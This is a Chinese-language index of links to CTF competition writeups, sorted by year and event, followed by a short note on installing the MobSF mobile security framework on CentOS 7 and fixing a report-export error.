[“东华杯”2021年大学生网络安全邀请赛 暨第七届上海市大学生网络安全大赛线上赛MISC-Writeup](https://mp.weixin.qq.com/s/-2CrIBKB8BNJzwDDXe-b_Q) #### 2020 **2020 安洵杯** - [安洵杯2020 官方Writeup(Web/Misc/Crypto) - D0g3](https://xz.aliyun.com/t/8581) **2020重庆市教育系统网络安全攻防竞赛** - [2020重庆市教育局网络安全攻防比赛](https://my.oschina.net/u/4411210/blog/4602798) - [2020重庆市教育系统网络安全攻防竞赛决赛 - Web Writeup](https://www.0x002.com/2020/2020%E9%87%8D%E5%BA%86%E5%B8%82%E6%95%99%E8%82%B2%E7%B3%BB%E7%BB%9F%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%94%BB%E9%98%B2%E7%AB%9E%E8%B5%9B%E5%86%B3%E8%B5%9B%20-%20Web%20Writeup/) **2020 NUAACTF** - [CTF | 2020 NUAACTF 吸喵喵队 Writeup](https://miaotony.xyz/2020/05/30/CTF_2020NUAACTF/) **2020 BJDCTF** - [CTF | BJDCTF 2nd WriteUp](https://miaotony.xyz/2020/03/23/CTF_BJDCTF2nd/) - [BJDCTF 2nd EasyAspDotNet WriteUp](https://www.zhaoj.in/read-6497.html) **2020 Ha1cyon_CTF** - [CTF | 2020 Ha1cyon_CTF公开赛 WriteUp](https://miaotony.xyz/2020/04/21/CTF_2020Ha1cyonCTF/) **2020 WHUCTF** - [WHUCTF2020出题记录](https://blog.szfszf.top/article/43/) **2020 DMCTF** - [DMCTF校赛思路总结](https://blog.csdn.net/qq_48175067/article/details/110896549) **2020 CG-CTF** - [南航 CG-CTF 题目WP](https://mp.weixin.qq.com/s/BdbGby1xY-I0NYjgucgwNw) #### 2019 **2019 浙江省大学生网络与信息安全竞赛** - [2019浙江省大学生网络与信息安全竞赛决赛部分WriteUp](https://xz.aliyun.com/t/6458) **2019 虎鲸杯** - [2019 虎鲸杯电子取证大赛赛后复盘总结](https://www.anquanke.com/post/id/177714) **2019 安洵杯** - [2019 安洵杯Web部分题解WriteUp](https://nikoeurus.github.io/2019/11/30/2019%E5%AE%89%E8%AF%A2%E6%9D%AF-Web/) - [2019 安洵杯线下赛awd-Web题解WriteUp](https://nikoeurus.github.io/2019/12/11/2019%E5%AE%89%E6%B4%B5%E6%9D%AF%E7%BA%BF%E4%B8%8B%E8%B5%9Bawd-Web%E9%A2%98%E8%A7%A3/) - [2019安洵杯+2019广外比赛web部分题解](https://ab-alex.github.io/2019/12/01/2019%E5%AE%89%E6%B4%B5%E6%9D%AF-2019%E5%B9%BF%E5%A4%96%E6%AF%94%E8%B5%9Bweb%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/) **2019 百越杯** - [2019 百越杯Web题解WriteUp](https://nikoeurus.github.io/2019/11/11/2019%E7%99%BE%E8%B6%8A%E6%9D%AF-Web/) **2019 “应急挑战杯”大学生网络安全大学生网络安全邀请赛** - [“应急挑战杯”大学生网络安全大学生网络安全邀请赛复盘](https://www.zhaoj.in/read-5525.html) **2019 HDCTF** - [HDCTF 2019 部分题目 WriteUp](https://www.zhaoj.in/read-5548.html) **2019 GUET-CTF** - [GUET-CTF 题目备份](https://www.zhaoj.in/read-5851.html) **2019 ISCC** - [ISCC 2019 部分题目 WriteUp](https://www.zhaoj.in/read-5629.html) - [ISCC 2019 Writeup](https://nikoeurus.github.io/2019/05/25/ISCC2019/) **湖南省第三届大学生信息安全技能竞赛** - [湖南省第三届大学生信息安全水赛WriteUp](https://gksec.com/HNCTF2019-Final.html) #### 2018 **2018 hackergame** - [ustclug/hackergame2018-writeups](https://github.com/ustclug/hackergame2018-writeups) **2018 HCTF** - [2018 HCTF Web Writeup](https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/) - [HCTF 2018 Official Writeup](https://www.secpulse.com/archives/82690.html) - [HCTF 2018 WriteUp](https://impakho.com/post/hctf-2018-writeup) - [HCTF 2018 Writeup](https://xz.aliyun.com/t/3242) - [hctf2018web](https://ab-alex.github.io/2018/11/12/hctf2018web/) **2018 ISCC** - [ISCC 2018线上赛 writeup](https://www.cnblogs.com/semishigure/archive/2018/06/06/9013131.html) **2018“骇极杯”上海大学生网络安全大赛** - [2018“骇极杯”上海大学生网络安全大赛 Web题解](https://blog.szfszf.top/article/13/) - [“骇极杯”全国大学生网络安全邀请赛WriteUp](https://cloud.tencent.com/developer/article/1369854?from=article.detail.1515395) #### 2016 **2016 HCTF** - [HCTF 2016网络攻防大赛官方Writeup](https://www.freebuf.com/articles/web/121778.html) **2016 第二届上海市大学生网络安全大赛** - [【CTF攻略】第二届上海市大学生网络安全大赛Writeup](https://www.anquanke.com/post/id/84924) --- ### 公司&行业 #### XCTF **2021 L3HCTF** - [L3HCTF-WriteUp](https://mp.weixin.qq.com/s/UvUNyZuK0kAcfyto06Xx4g) - [2021-L3HCTF SpecialRain-Writeup](http://xibai.xyz/2021/11/15/2021-L3HCTF/) - [L3HCTF luuuuua](https://0wl.site/2021/11/16/L3HCTF-luuuuua/) - [l3hctf_part_wp](https://yimianweishi.github.io/2021/11/17/l3hctf-part-wp/index.html) - [L3HCTF 2021 星盟ctf战队](https://mp.weixin.qq.com/s/RVGg0zW6mFBImZpvyMDwvw) **2021 第四届“强网”拟态防御国际精英挑战赛** - [第四届“强网”拟态防御国际精英挑战赛_wp(上)](https://mp.weixin.qq.com/s/xWgZKtQdsQ562EXLGiNDlg) - [第四届强网拟态防御国际精英挑战赛线上预选赛MISC WRITEUP](https://mp.weixin.qq.com/s/qzxMiQaIWc1GNJqg6adzyQ) **2021 RCTF** - [RCTF-2021 部分WriteUp](https://mp.weixin.qq.com/s/EnncNONPhgrZCgeYDE5Q2A) **2020 wmctf** - [Nobody knows BaoTa better than me WriteUp](https://www.zhaoj.in/read-6660.html) - [W&MCTF_Dalabengba](http://www.fzwjscj.xyz/index.php/archives/37/) - [W&MCTF](http://wh1sper.cn/wmctf/) - [W&MCTF-0RAYS](https://www.anquanke.com/post/id/212809) **2020 高校战“疫”** - [CTF | XCTF高校战“疫”网络安全分享赛 WriteUp](https://miaotony.xyz/2020/03/15/CTF_2020XCTF_gxzy/) **2020 De1CTF** - [CTF | 2020 De1CTF Misc Chowder WriteUp](https://miaotony.xyz/2020/05/04/CTF_2020De1CTF/) **2020 GACTF** - [CTF | 2020 GACTF 一点点WriteUp](https://miaotony.xyz/2020/08/31/CTF_2020GACTF/) - [GACTF-WriteUp](https://mp.weixin.qq.com/s/uL2yEuSKJGNWGaNYsQIjsg) **2020 SCTF** - [SCTF 2020 Login Me Aagin WriteUp](https://www.zhaoj.in/read-6617.html) **2020 RCTF** - [[CTF]2020RCTF Swoole题解学习笔记](https://zhzhdoai.github.io/2020/06/02/CTF-2020RCTF-Swoole%E9%A2%98%E8%A7%A3%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/) **2019 xctf-finals** - [2019 xctf-finals Web-lfi2019复现](https://nikoeurus.github.io/2019/11/04/lfi2019/) **2019 SCTF** - [SCTF2019 部分题目WriteUp](https://www.zhaoj.in/read-5985.html) **2019 RCTF** - [RCTF2019 jail WriteUp](https://blog.szfszf.top/article/31/) - [RCTF 2019 Web Writeup](https://xz.aliyun.com/t/5218) **2019 De1CTF** - [De1CTF2019 官方Writeup(Web/Misc) -- De1ta](https://xz.aliyun.com/t/5945) - [De1CTF Web WriteUp](https://www.zhaoj.in/read-6170.html) **2019 N1CTF** - [分析N1CTF 2019中Crypto方向题目](https://www.anquanke.com/post/id/186525) **2018 N1CTF** - [2018n1ctf-esay-php复现](https://ab-alex.github.io/2019/08/06/2018n1ctf-esay-php%E5%A4%8D%E7%8E%B0/) **2018 RCTF** - [RCTF2018 Web Writeup](https://lorexxar.cn/2018/05/23/rctf2018/) - [Real World CTF 2018 ccls-fringe命题报告](http://maskray.me/blog/2018-07-31-real-world-ctf-2018-ccls-fringe) - [Real World CTF 2018 rwext5命题报告](http://maskray.me/blog/2018-12-09-real-world-ctf-2018-rwext5) **2018 赛博地球杯工业互联网安全大赛** - [“赛博地球杯”工业互联网安全大赛线上赛Writeup](https://www.xctf.org.cn/library/details/cyberearth-writeup/) - [2018 XCTF-赛博地球杯工业互联网安全大赛web部分题解](https://skysec.top/2018/01/18/XCTF-%E8%B5%9B%E5%8D%9A%E5%9C%B0%E7%90%83%E6%9D%AF%E5%B7%A5%E4%B8%9A%E4%BA%92%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9Bweb%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/) **2017 WHCTF** - [WHCTF官方Writeup](https://www.xctf.org.cn/library/details/whctf-writeup/) --- #### DASCTF **21.8** - [2021DASCTF八月挑战赛Writeup](https://blog.csdn.net/qq_42815161/article/details/120010131) - [DASCTF八月挑战赛 re](https://mp.weixin.qq.com/s/IMhP4UGrY2pwKI1tmf1vjA) **20.8** - [DASCTF 八月赛 Crypto 部分Writeup](https://www.anquanke.com/post/id/215484) - [DASCTF八月赛学习](https://troyess.com/2020/09/07/DASCTF%E5%85%AB%E6%9C%88%E8%B5%9B%E5%AD%A6%E4%B9%A0/) - [DASCTF八月赛 Web Writeup](https://ca0y1h.top/Web_security/ctf_writeup/23.DASCTF2020%E5%85%AB%E6%9C%88%E8%B5%9B/) - [单身狗的七夕——安恒8月赛](http://www.fzwjscj.xyz/index.php/archives/38/) **20.7** - [DASCTF-7月赛](http://www.nopnoping.xyz/2020/07/25/DASCTF-7%E6%9C%88%E8%B5%9B/) - [Dasctf 2020 07 pwn wp](https://ay3.ink/dasctf-2020-07-pwn-wp/) - [DASCTF七月-虚假的签到题](https://www.jianshu.com/p/f3b4aaa4d357) - [[DASCTF 2020.7]Write up](https://ha1c9on.top/2020/07/25/dasctf-2020-7write-up/) - [[原创]DASCTF七月赛部分wp](https://bbs.pediy.com/thread-260967.htm) - [DASCTF 7月赛部分write up](https://www.cnblogs.com/MisakaYuii-Z/p/13379712.html) - [安恒七月赛——QRJoker](http://www.fzwjscj.xyz/index.php/archives/36/) **20.6** - [安恒6月月赛 DASCTF 6th Re 部分wp](https://blog.csdn.net/a_touhouer/article/details/106982172) - [每日一练之"DASCTF 2020 6th Wp"](https://www.zrzz.site/2020/08/02/DASCTF-2020-6th-Wp/) - [DASCTF 六月团队赛](https://lazzzaro.github.io/2020/06/26/match-DASCTF-%E5%85%AD%E6%9C%88%E5%9B%A2%E9%98%9F%E8%B5%9B/) - [DASCTF六月团队赛(2020)-部分WP](https://blog.csdn.net/hiahiachang/article/details/106974553) - [DASCTF_六月赛MISC部分wp](http://www.ga1axy.top/index.php/archives/42/) **20.5** - [ [CTF]DASCTF五月三道逆向题](https://www.buaq.net/go-27321.html) - [DASCTF五月月赛 暨 BJDCTF 3rd 部分WP](https://www.anquanke.com/post/id/206493) - [DASCTF 5月 Re - ViQinere](https://blog.csdn.net/T_Luffy/article/details/106321561) - [2020年DASCTF五月线上赛-ViQinere](https://blog.csdn.net/pkcjl/article/details/106327862) - [[2020 DASCTF] 五月线上赛 - 部分 Web、Misc WriteUp](http://c0r1.com/2020/05/23/2020-DASCTF-%E4%BA%94%E6%9C%88%E7%BA%BF%E4%B8%8A%E8%B5%9B-%E9%83%A8%E5%88%86-Web%E3%80%81Misc-WriteUp/) - [BJD3rd Test your nc 出题笔记 | DASCTF 安恒5月赛](http://taqini.space/2020/05/28/bjd3rd-testyournc/) - [DASCTF May × BJDCTF 3rd 安恒五月赛](https://lazzzaro.github.io/2020/05/24/match-DASCTF-May-%C3%97-BJDCTF-3rd-%E5%AE%89%E6%81%92%E4%BA%94%E6%9C%88%E8%B5%9B/index.html) - [DASCTF五月线上赛 BScript blink](https://www.cnblogs.com/harmonica11/p/12943773.html) - [[原创][CTF]DASCTF五月部分逆向题.](https://bbs.pediy.com/thread-259707.htm) - [安恒/DASCTF五月月赛&BJD3rd的wp及赛后复现(pwn部分)](https://www.1p0ch.cn/2020/05/24/%E5%AE%89%E6%81%922020%E5%B9%B45%E6%9C%88%E6%9C%88%E8%B5%9Bwp%E5%8F%8A%E5%A4%8D%E7%8E%B0/) - [CTF | DASCTF May & BJDCTF3rd 部分WriteUp](https://miaotony.xyz/2020/05/24/CTF_BJDCTF3rd/) **20.4** - [CTF系列——DASCTF四月春季赛Writeup](https://cloud.tencent.com/developer/article/1625598) - [CTF | 2020 DASCTF 四月春季战 Re&Misc WriteUp](https://miaotony.xyz/2020/04/25/CTF_2020DASCTF_April/) - [安恒月赛2020年DASCTF——四月春季赛---Web-Writeup](https://blog.csdn.net/SopRomeo/article/details/105849403) - [安恒月赛2020年DASCTF——四月春季战Writeup](https://www.gem-love.com/ctf/2275.html) **19.7** - [安恒七月月赛](https://jwt1399.top/posts/49404.html) **19.6** - [安恒杯6月赛web2 easypentest](https://blog.szfszf.top/article/33/) **19.2** - [2019安恒2月月赛Writeip-Web&Crypto&Misc](https://www.anquanke.com/post/id/171543) **19.1** - [安恒月赛mycard exp编写及详细分析](https://www.anquanke.com/post/id/170359) - [2019安恒1月月赛Writeip-Web&Crypto&Misc](https://www.anquanke.com/post/id/170341) **18.11** - [2018安恒杯11月赛-Web&Crypto题解](https://www.anquanke.com/post/id/166492) **18.9** - [2018安恒杯 - 9月月赛Writeup](https://www.anquanke.com/post/id/160582) --- #### 2022 **2022 长安“战疫”** - [长安"战疫"-WriteUp](https://mp.weixin.qq.com/s/VMk7RPkvDioqMqEQdM5jFw) - [长安"战役"ctf-wp](https://mp.weixin.qq.com/s/5X31KjFoH4jg4HVbtd9bbw) - [长安“战疫”2022 部分WriteUp](https://mp.weixin.qq.com/s/5jrjvuJf0CSYyj7qL7TqvQ) - [长安“战疫”网络安全卫士守护赛](https://mp.weixin.qq.com/s/H8cUoRnT_ndBABsZ5vWiQg) #### 2021 **2021 创安杯** - [2021创安杯智能汽车信息公开赛-知识赛](https://mp.weixin.qq.com/s/M5cyp-mdVor8Ppb_xKtDZA) **2021 美团CTF** - [美团CTF-WriteUp](https://mp.weixin.qq.com/s/UKkneDKoFBmmUIlbC6bwvA) - [第四届2021美团网络安全 MT-CTF writeup](https://mp.weixin.qq.com/s/tPI_c-Finz_6OP9WQJMrtQ) **江西省2021年工业互联网安全技术技能大赛** - [某省工业互联网安全技术技能大赛Writeup](https://mp.weixin.qq.com/s/W7EQQ8e9j3L-W4Wgmtf5gA) **2021 天翼杯** - [2021第二届“天翼杯”网络安全攻防大赛WP](https://mp.weixin.qq.com/s/TE6KokKr9mpjGtQ9mOe2MQ) **2021 bilibili** - [程序员节日挑战赛writeup](https://mp.weixin.qq.com/s/3O-fH6fcwEpSCK63yTb0ww) **2021 春秋杯秋季赛** - [2021春秋杯秋季赛-Writeup](https://mp.weixin.qq.com/s/9fSrQbSdhykkzoiEYGovJQ) **2021 深育杯** - [深育杯-WriteUp](https://mp.weixin.qq.com/s/HvyRjbLVPaMg7DBfdYmdJw) - [2021深育杯线上初赛官方WriteUp](https://mp.weixin.qq.com/s/Iwj_zNgYZKZvJOYuhmlz3w) - [深育杯-网络安全大赛专业竞赛WriteUp-IDLab](https://mp.weixin.qq.com/s/NvItuko9ZAUNTJaSzBpNKw) **陇原战“疫”2021** - [陇原战_疫_2021网络安全大赛](https://mp.weixin.qq.com/s/Lcq7h8VpZaHX3oFrr2E_uQ) - [陇原战“疫”2021-WriteUp](https://mp.weixin.qq.com/s/O5cyHCvQsu6RNTp4A_Gp4w) - [2021陇原战"疫" 部分赛题复现](https://mp.weixin.qq.com/s/KIkE50ELd2PBcbqZ_vUyQg) **“枢网智盾-2021”智慧城市工控系统应急处置技术挑战赛线** - [枢网智盾线上赛Writeup](https://mp.weixin.qq.com/s/Uub24ztAF_jKXz5dEK-dTw) **2021 中科实数杯** - [2021年中科实数杯团队赛手机部分考题write up](https://mp.weixin.qq.com/s/gx9s49dMxhKAHDZgYi-YOg) **2021 Bytectf** - [ByteCTF-WriteUp](https://mp.weixin.qq.com/s/k8wrSSra_NO165RLM_CrUw) - [2021ByteCTF 北极星-writeup](https://mp.weixin.qq.com/s/OPWOKA9a9Ji_8vufV6QFYA) - [ByteCTF 2021 By W&M(WEB)部分](https://mp.weixin.qq.com/s/s59xN-QI9oNPrkjhuXtPyw) - [ByteCTF 2021 By W&M(PWN)部分](https://mp.weixin.qq.com/s/fqX-ICojKhe-FBGCLhWB0A) - [ByteCTF 2021 By W&M(Crypto)部分](https://mp.weixin.qq.com/s/LpFb9qlrazb7o-zZFuZufw) - [ByteCTF 2021 By W&M(MISC)部分](https://mp.weixin.qq.com/s/_A3TjeAZ0yAnpvxyn0wWCA) - [ByteCTF 2021 By W&M(REVERSE)部分](https://mp.weixin.qq.com/s/h-wTnquhBTB8EzU5pYmPDg) - [2021ByteCTF决赛wp—北极星战队](https://mp.weixin.qq.com/s/y5152EoQg_W6N7YCNtnNUA) - [ByteCTF 2021 Final By W&M(WEB)部分](https://mp.weixin.qq.com/s/2lzx7ly6kB7UsulC1cUl-w) - [ByteCTF 2021 Final By W&M(​Reverse)部分](https://mp.weixin.qq.com/s/CYiWly4jPYYEBon6xK6WFA) - [ByteCTF 2021 Final By W&M(Crypto)部分](https://mp.weixin.qq.com/s/mqEM34zkCPhNBZ9sAS85Lg) - [ByteCTF 2021 Final By W&M(MISC)部分](https://mp.weixin.qq.com/s/IXWBU-vXMan9mHerPCPPjQ) - [ByteCTF 2021 Final By W&M(Mobile)部分](https://mp.weixin.qq.com/s/7HDLGC4irJZ2M6oKwyXmXg) **2021年工业信息安全技能大赛** - [2021年工业信息安全技能大赛线上赛](https://secgxx.com/ctf/competition/2021icsc/) - [2021年⼯业信息安全技能⼤赛-线上第⼀场WriteUp](https://mp.weixin.qq.com/s/DFJaILmNxTl1EAyksqQZ9w) **2021中国能源网络安全大赛** - [CTF-2021中国能源网络WEB题目全解](https://mp.weixin.qq.com/s/aq1ZUKspmXIG8GKVV2xPuw) --- #### 2020 **2020 0CTF/TCTF** - [0CTF/TCTF 2020 wp](https://blog.szfszf.top/article/46/) **2020 DDCTF** - [DDCTF-WriteUp](https://mp.weixin.qq.com/s/gtzWFiZprbRWFOGTxR47CQ) - [2020DDCTF WP](https://zyazhb.github.io/2020/09/04/ctf-ddctf/) - [2020DDCTF-wp](https://wulidecade.cn/2020/09/06/2020DDCTF-wp/) - [DDCTF](https://iluem.xyz/passagesDDCTF/) **GeekPwn2020** - [GeekPwn2020 云安全挑战赛wp](https://blog.szfszf.top/article/45/) **2020 天翼杯** - [天翼杯-Re-Wp](https://www.zrzz.site/2020/08/01/%E5%A4%A9%E7%BF%BC%E6%9D%AF-Re-Wp/) - [天翼杯2020_wp_by_LQers](https://www.freebuf.com/articles/network/245664.html) - [天翼杯Crypto Write Up](https://www.anquanke.com/post/id/212635) **2020 中国I²S峰会暨工业互联网安全大赛** - [2020-11-I²S峰会暨工业互联网安全大赛writeup](https://www.t00ls.net/thread-58518-1-1.html) - [WriteUp-首届中国I²S峰会暨工业互联网安全大赛](https://mp.weixin.qq.com/s/21pOfgGCmt5ijr66xpV1MA) **2020 Bytectf** - [Bytectf2020 writeup by W&M](https://mp.weixin.qq.com/s/4OVC10crL1rBFrNf9wyUTg) - [ByteCTF-WriteUp](https://mp.weixin.qq.com/s/GAlwjtqB79wq42ByxPblMw) **2020 RoarCTF** - [RoarCTF-WriteUp](https://mp.weixin.qq.com/s/Ipy-PCnxQWlctQk1oI9arw) --- #### 2019 **2019 KCTF** - [2019 kctf 沉睡的敦煌 writeup](https://v1ckydxp.github.io/2019/06/28/2019-kctf-%E6%B2%89%E7%9D%A1%E7%9A%84%E6%95%A6%E7%85%8C-writeup/) - [2019 KCTF 绝地逃生 writeup](https://v1ckydxp.github.io/2019/07/09/2019_KCTF_%E7%BB%9D%E5%9C%B0%E9%80%83%E7%94%9F_writeup/) **2019 NSCTF** - [NSCTF 2019 TechWorld 信息安全挑战赛 WriteUp by impakho](https://impakho.com/post/nsctf-2019-techworld-writeup) **2019年工业信息安全技能大赛** - [2019工业信息安全技能大赛个人线上赛第一场(前5道)writeup](https://xz.aliyun.com/t/5960) - [2019工业信息安全技能大赛个人线上赛第二场(5道) writeup](https://xz.aliyun.com/t/6445) - [2019工业信息安全技能大赛个人线上赛第一场writeup](https://login546.github.io/2019/07/29/2019%E5%B7%A5%E4%B8%9A%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E6%8A%80%E8%83%BD%E5%A4%A7%E8%B5%9B%E4%B8%AA%E4%BA%BA%E7%BA%BF%E4%B8%8A%E8%B5%9BNO-1writeup/) **2019 RealWorld CTF** - [v8 exploit - RealWorld CTF2019 accessible](https://xz.aliyun.com/t/6507) **2019 D^3 CTF** - [2019 D^3 CTF-Web部分复现记录](https://nikoeurus.github.io/2019/11/26/D%5E3ctf-Web/) - [2019 D^3 CTF-easyweb预期解复现](https://nikoeurus.github.io/2019/12/12/D%5E3ctf-easyweb/) - [2019 D^3 CTF-ezts复现](https://nikoeurus.github.io/2019/12/18/D%5E3ctf-ezts/) **2019 OPPO OGeek CTF** - [OPPO OGeek CTF 2019 部分题目 WriteUp](https://www.zhaoj.in/read-6251.html) - [OGeek CTF 2019 线下决赛 pwn 题解](https://www.anquanke.com/post/id/187516) - [OGeek CTF 2019-Enjoy You Self](https://ab-alex.github.io/2019/09/04/OGeek-CTF-2019-Enjoy-You-Self/) - [2019 ogeek线上赛部分题解WriteUp](https://nikoeurus.github.io/2019/08/30/OGeek-wp/) **2019 ByteCTF CTF** - [字节跳动 ByteCTF 2019 Web RSS WriteUp](https://www.zhaoj.in/read-6310.html) **2019 DDCTF** - [DDCTF 2019 Web 部分 WriteUp](https://www.zhaoj.in/read-5269.html) - [DDCTF2019两个逆向writeup ](https://www.freebuf.com/articles/network/202987.html) - [DDCTF 2019 WriteUp](https://blog.szfszf.top/article/29/) - [DDCTF2019官方Write Up——MISC篇](https://www.anquanke.com/post/id/178392) - [DDCTF2019官方Write Up——Android篇](https://www.anquanke.com/post/id/178383) - [DDCTF2019官方Write Up——Web篇](https://www.anquanke.com/post/id/178434) - [DDCTF2019官方Write Up——Reverse篇](https://www.anquanke.com/post/id/178414) - [DDCTF 2019 Web2 Writeup](https://github.red/ddctf-2019/) - [DDCTF-Web](https://nikoeurus.github.io/2019/04/19/ddctf-Web/) **2019 RoarCTF** - [2019 RoarCTF部分题解WriteUp](https://nikoeurus.github.io/2019/10/14/RoarCTF/) - [Roarctf 部分Writeup](https://www.anquanke.com/post/id/188785) - [RoarCTF Web writeup](https://github.red/roarctf-web-writeup/) - [RoarCTF2019 Web WriteUp](https://blog.szfszf.top/article/38/) - [berTrAM888/RoarCTF-Writeup-some-Source-Code](https://github.com/berTrAM888/RoarCTF-Writeup-some-Source-Code) - [Carry955/RoarCTF-Writeup-2019](https://github.com/Carry955/RoarCTF-Writeup-2019) - [RoarCTF2019 Writeup](https://paper.seebug.org/1059/) #### 2018 **2018工业信息安全技能大赛** - [2018工业信息安全技能大赛华东赛区初赛 第2题 writeup](https://www.bbsmax.com/A/gVdngBANzW/) **金融业网络安全攻防比赛** - [金融业网络安全攻防比赛热身赛writeup](https://www.secpulse.com/archives/74096.html) - [金融业网络安全攻防比赛热身赛writeup](https://mp.weixin.qq.com/s/gwtdAeBy6dKViiZJbgKMSA) - [金融业网络安全攻防大赛部分题目writeup](https://www.anquanke.com/post/id/154477) **2018年民航网络安全职业技能竞赛** - [wrlu/CAAC-CTF-2018-Primary](https://github.com/wrlu/CAAC-CTF-2018-Primary) **2018 DDCTF** - [DDCTF 2018 writeup(一) WEB篇](https://www.anquanke.com/post/id/144879) - [DDCTF 2018 writeup(二) 逆向篇](https://www.anquanke.com/post/id/145553) - [【知识库】DDCTF 2018 writeup(三) 安卓篇](https://www.anquanke.com/post/id/146536) **2018 RealWorld CTF** - [RealWorld CTF Writeup by r3kapig](https://xz.aliyun.com/t/2513) #### 2017 **2017 0ctf** - [2017 0ctf babyheap writeup](https://v1ckydxp.github.io/2019/04/14/2017_0ctf_babyheap/) --- ### 国外 #### 2021 **2021 ractf** - [Ractf 2021 解题思路分享](https://mp.weixin.qq.com/s/5qWO6Sw2uEjeqfcz-ydDkQ) **2021 hxp CTF** - [hxp CTF 2021 - A New Novel LFI](https://tttang.com/archive/1384/) #### 2020 **2020 BSidesSF** - [BSidesSF 2020 CTF writeup](https://zhuanlan.zhihu.com/p/113862487) **2020 Winja** - [Winja CTF 2020: Write-up](https://medium.com/bugbountywriteup/winja-ctf-write-up-f33db5ee7afe) **2020 Zer0pts CTF** - [Zer0pts CTF 2020的web赛后记录+复现环境](https://mp.weixin.qq.com/s/Wb79jxc3lL6NJGFAJbbhkQ) **2020 HexionCTF** - [HexionCTF web&crypto&misc题目分析](https://mp.weixin.qq.com/s/aPxB8SSMBNw-HwLZL5bmWA) **2020 PlaidCTF** - [PlaidCTF 2020 Dragon Sector write-ups](https://docs.google.com/document/d/e/2PACX-1vRz1CKXJBbk8e72vveZ17vhA6dn0IV2ENCrLCVNuBIgNXGm9tB7RPrUEkTZ9j7GTfScRcJ8ag8_oAGs/pub) - [Plaid CTF 2020 Catalog](https://blog.zeddyu.info/2020/04/24/Plaid-CTF-2020-Web-2/) - [Plaid CTF 2020 Contrived Web Problem Write Up](https://blog.zeddyu.info/2020/04/20/Plaid-CTF-2020-Web-1/) **2020 WPICTF** - [NotWannasigh WPICTF 2020 Writeup](https://um.wtf/articles/04-notwannasigh-wpictf-2020-writeup.html) --- #### 2019 **2019 RITSEC** - [RITSEC CTF 2019](https://abraxas.io/2019/11/20/ritsec-ctf-2019/) --- #### 2018 **2018 TJCTF** - [TJCTF 2018 Web专题全解析](https://www.anquanke.com/post/id/156434) - [TJCTF 2018 Pwn_Re专题全解析](https://www.anquanke.com/post/id/156443) --- #### 2016 **2016 IceCTF** - [IceCTF Root of All Evil Write Up](https://chrisissing.wordpress.com/2016/08/24/icectf-root-of-all-evil-write-up/) --- ### 未分类 #### GXYCTF **2019** - [GXYCTF部分详细题解](https://mp.weixin.qq.com/s/liWyOvtSlVgXNeLbG-3fBw) - [[GXYCTF2019]禁止套娃](https://blog.csdn.net/qq_41628669/article/details/106092047) - [2019 GXYctf-Web题解WriteUp](https://nikoeurus.github.io/2019/12/21/2019GXYctf-wp/) #### SWPU **2019** - [2019 SWPU-ctf Web题解WriteUp](https://nikoeurus.github.io/2019/12/09/SWPU-ctf/) #### 极客大挑战 **2019** - [2019 极客挑战-Web部分题解WriteUp](https://nikoeurus.github.io/2019/11/20/2019%E6%9E%81%E5%AE%A2%E6%8C%91%E6%88%98Web/) - [2019极客大挑战RCE ME](https://ab-alex.github.io/2019/11/20/2019%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98RCE-ME/) #### 掘安杯 **2019** - [2019掘安杯writeup](https://ab-alex.github.io/2019/04/09/2019%E6%8E%98%E5%AE%89%E6%9D%AFwriteup/) - [2019掘安杯web writeup](https://xz.aliyun.com/t/4741) #### 嘉韦思杯 **2019** - [2019“嘉韦思杯”上海市网络安全邀请赛WriteUp](https://cloud.tencent.com/developer/article/1515395) - [2019年上海嘉韦思杯writeup](https://ab-alex.github.io/2019/04/01/2019%E5%B9%B4%E4%B8%8A%E6%B5%B7%E5%98%89%E9%9F%A6%E6%80%9D%E6%9D%AFwriteup/) - [上海"嘉伟思杯"ctf](https://nikoeurus.github.io/2019/03/31/%E4%B8%8A%E6%B5%B7%E2%80%9C%E5%98%89%E9%9F%A6%E6%80%9D%E6%9D%AF%E2%80%9Dctf/) #### i春秋 **2020新春战“疫”** - [i春秋2020新春战“疫”网络安全公益赛GYCTF 两个 NodeJS 题 WriteUp](https://www.zhaoj.in/read-6462.html) - [i春秋2020新春战“疫”网络安全公益赛 web Writeup](https://ab-alex.github.io/2020/02/24/i%E6%98%A5%E7%A7%8B2020%E6%96%B0%E6%98%A5%E6%88%98%E2%80%9C%E7%96%AB%E2%80%9D%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%85%AC%E7%9B%8A%E8%B5%9B-web-Writeup/)
sec-knowleage
## MobSF概述 移动安全框架,支持:静态分析APK、IPA、APPX文件,动态分析APK与分析Web API。 [github地址](https://github.com/MobSF/Mobile-Security-Framework-MobSF) ## 安装与使用 ### Centos7安装MobSF ``` # 安装java环境 yum install java-1.8.0-openjdk.x86_64 java-1.8.0-openjdk-devel.x86_64 -y # 安装python3 yum install https://centos7.iuscommunity.org/ius-release.rpm -y yum install python36u.x86_64 python36u-pip.noarch python36u-devel.x86_64 -y # 安装MobSF git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git && cd Mobile-Security-Framework-MobSF pip3.6 install -r requirements.txt # 启动MobSF python3.6 manage.py runserver 0.0.0.0:8080 ``` ## 踩坑记 ### 导出报告报错 ``` Don't Play Around. An Error just popped in! Attribute not found. 'bool' object has no attribute 'dumps' ``` [解决方案](https://github.com/MobSF/Mobile-Security-Framework-MobSF/issues/208)
sec-knowleage
